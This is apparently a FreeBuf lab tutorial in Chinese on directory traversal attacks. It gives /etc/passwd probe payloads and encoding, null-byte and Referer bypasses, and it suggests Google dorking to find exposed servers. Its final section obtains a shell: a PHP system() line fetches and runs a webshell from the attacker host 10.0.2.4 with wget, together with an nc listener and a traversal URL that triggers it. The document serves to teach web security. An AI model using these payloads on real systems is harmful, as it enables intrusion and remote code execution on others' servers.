freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

web安全目录遍历漏洞学习及绕过
2020-08-22 22:56:35

目录遍历漏洞介绍

路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

需要注意的是,系统操作访问控制(如在微软windows操作系统上锁定或使用文件)限制了对文件的访问权限。

这种攻击也称为 “点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。

搭建一个存在目录遍历漏洞的虚拟机,做个实验。
使用Owasp zap进行漏洞扫描,挖掘漏洞。

然后复制它的URL到浏览器查看该漏洞

目录遍历的漏洞通过`../../../`这样的形式来进行目录读取服务器中的文件,`../../../../`越多多好,因为在终端中,`../`是返回上一级目录,到根目录使用`../`会返回当前页面。

一般发现目录遍历的漏洞的探针,也就是测试的时候往往是使用这样的payload

http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd

看是否会返回该文件的内容,这就造成了目录遍历的漏洞产生。
还可以本地利用PHP环境搭建一个读取文件的脚本。来实现目录遍历。

<?php
$dir_path=$_REQUEST['path'];
$page=scandir($dir_path);
var_dump($page);
?>

一些绕过方式

1. 加密参数传递的数据

有的网站程序传递参数后会进行base64加密(当然也会有其他加密),导致我们传递的参数无法解析,所以就无法利用目录遍历,而绕过方式也很简单,就是先对参数进行base64加密后再进行传参。如:

`?page=bTByZS50eHQ=`

2. 编码绕过

进行传参时将参数进行编码,实现绕过,比如URL编码。`?page=%6D%30%72%65%2E%74%78%74`

3. 目录限定绕过

有些Web应用程序是通过限定目录权限来分离的。可以使用一些特殊的符号`~`来绕过。比如提交这样的`xxx.php?page=~/../boot`。就可以直接跳转到硬盘目录下。

4. 绕过文件后缀过滤

一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。
比如:`../../../../boot.ini%00.jpg`,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为`../../../../boot.ini`。
在类Unix的系统中也可以使用Url编码的换行符,例如:`../../../etc/passwd%0a.jpg`如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如: `../../../index.php%20`

5. 绕过来路验证

Http Referer : HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。

还有就是web服务器配置不当而造成的目录遍历漏洞,
可以使用谷歌语法进行查找。

使用      intitle: index of

随便选择一个打开就是了。

防御

可以对提交的参数进行多次编码或者多种加密。上面的几种绕过方式进行组合使用。

如何利用目录遍历上传shell并拿到一个低权限

利用目录遍历漏洞获取shell思路

  • 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;

需要和其他知识相结合,这里直接略过简单步骤
略过的操作:探测敏感目录,弱口令登录,查找利用的webshell上传点。
使用`/usr/share/webshells/php`中的反弹的webshell
将webshell中的IP和要监听的端口改一下

$ip = '10.0.2.4';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

然后进行利用,建数据库数据表,然后插入字段

写入

<?php system("cd /tmp;wget http://10.0.2.4:8000/webshell.php;chmod +x webshell.php;php webshell.php");?>

解析:切换至tmp目录,然后在kali的服务器中下载webshell,然后赋给文件执行权限,再执行。

可以看到已经写入了数据。插入了命令
创建服务器用来让靶场下载webshell
同时开启nc侦听端口

上面这都是前置设置,这些设置完成后,就可以执行目录遍历漏洞下载并执行shell了

` /usr/databases/shell.php`这个是命令所在的文件,使用目录遍历漏洞访问并执行。
payload

http://10.0.2.5/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fdatabases%2Fshell.php

拿到一个较低权限的shell

下次学习提权。如何将此类低权限提升至root权限。

# web安全 # 目录遍历漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录